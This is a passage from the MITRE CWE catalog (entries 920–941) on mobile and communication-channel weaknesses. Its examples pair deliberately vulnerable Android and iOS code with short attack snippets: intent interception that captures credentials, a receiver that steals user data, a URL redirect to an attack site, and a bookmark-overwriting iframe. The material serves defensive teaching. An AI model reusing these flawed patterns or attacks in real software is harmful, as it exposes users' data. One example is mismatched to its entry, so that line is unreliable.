[REF-919]ONsec Lab. "SSRF bible. Cheatsheet". 2013 January 6. < https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1# >.

[REF-920]Deral Heiland. "Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses". 2008 February. < http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt >.

CWE-920: Improper Restriction of Power Consumption

Weakness ID : 920 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	400	Uncontrolled Resource Consumption	864

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	400	Uncontrolled Resource Consumption	864

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart *The power source could be drained, causing the application - and the entire device - to cease functioning.*	

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID : 921 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software stores sensitive information in a file system or device that does not have built-in access control.

Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		922	Insecure Storage of Sensitive Information	1603

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	
Integrity	Modify Application Data Modify Files or Directories *Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.*	

References

[REF-921]Android Open Source Project. "Security Tips". 2013 July 6. < http://developer.android.com/training/articles/security-tips.html#StoringData >.

CWE-922: Insecure Storage of Sensitive Information

Weakness ID : 922 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	312	Cleartext Storage of Sensitive Information	693
ParentOf	B	921	Storage of Sensitive Data in a Mechanism without Access Control	1602

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	
Integrity	Modify Application Data Modify Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Maintenance

This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID : 923 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	V	291	Reliance on IP Address for Authentication	643
ParentOf	V	297	Improper Validation of Certificate with Host Mismatch	656
ParentOf	C	300	Channel Accessible by Non-Endpoint	663
ParentOf	B	322	Key Exchange without Entity Authentication	711
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	769
ParentOf	B	419	Unprotected Primary Channel	908
ParentOf	B	420	Unprotected Alternate Channel	909
ParentOf	V	925	Improper Verification of Intent by Broadcast Receiver	1607
ParentOf	B	940	Improper Verification of Source of a Communication Channel	1617
ParentOf	B	941	Incorrectly Specified Destination in a Communication Channel	1619
CanFollow	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	769

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Gain Privileges or Assume Identity *If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.*	

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
501	Activity Hijack

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Weakness ID : 924 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Gain Privileges or Assume Identity *If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.*	

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID : 925 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Alternate Terms

Intent Spoofing :

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity *Another application can impersonate the operating system and cause the software to perform an unintended action.*	

Potential Mitigations

Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: XML *(bad)*

```
<manifest package="com.example.vulnerableApplication">
   <application>
   ...
      <receiver android:name=".ShutdownReceiver">
         <intent-filter>
            <action android:name="android.intent.action.ACTION_SHUTDOWN" />
         </intent-filter>
      </receiver>
   ...
   </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
   @Override
   public void onReceive(final Context context, final Intent intent) {
      mainActivity.saveLocalData();
      mainActivity.stopActivity();
   }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java *(attack)*

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
499	Intent Intercept

References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf >.

CWE-926: Improper Export of Android Application Components

Weakness ID : 926 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.
- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Background Details

There are three types of components that can be exported in an Android application.

Activity

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

Service

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

Content Provider

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can launch the Activity.*	
Availability Integrity	Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can bind to the Service.*	
Confidentiality Integrity	Read Application Data Modify Application Data *Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.*	

Potential Mitigations

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Limit Content Provider permissions (read/write) as appropriate.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Separation of Privilege

Limit Content Provider permissions (read/write) as appropriate.

Demonstrative Examples

Example 1:

This application is exporting an activity and a service in its manifest.xml:

Example Language: XML *(bad)*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
   ...
   <intent-filter>
      <action android:name="com.example.vulnerableApp.OPEN_UI" />
      <category android:name="android.intent.category.DEFAULT" />
   </intent-filter>
```

```
    ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
    ...
    <intent-filter>
        <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
    </intent-filter>
    ...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:

This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML *(bad)*

```
<provider>
    android:name="com.example.vulnerableApp.searchDB"
    android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

References

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < http://developer.android.com/training/articles/security-tips.html#ContentProviders >.

CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID : 927 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances

of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Other applications, possibly untrusted, can read the data that is offered through the Intent.*	
Integrity	Varies by Context *The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.*	

Potential Mitigations

Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

Demonstrative Examples

Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Example Language: Java *(attack)*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Example Language: Java *(attack)*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Example Language: Java *(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java *(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf >.

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < http://developer.android.com/training/articles/security-tips.html#ContentProviders >.

CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID : 939 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1567

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Potential Mitigations

Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

Example Language: Objective-C *(good)*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Example Language: *(bad)*

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
    return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

Example Language: HTML *(attack)*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

Example 2:

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2013-5725	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5725*
CVE-2013-5726	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5726

References

[REF-938]Guillaume Ross. "Scheming for Privacy and Security". 2013 November 1. < http://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/ >.

CWE-940: Improper Verification of Source of a Communication Channel

Weakness ID : 940 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Varies by Context *An attacker can access any functionality that is inadvertently accessible to the source.*	

Potential Mitigations

Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a MITM attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
```

```
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218*
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877*
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452*

Notes

Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
594	Traffic Injection
595	Connection Reset
596	TCP RST Injection

References

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf >.

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID : 941 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

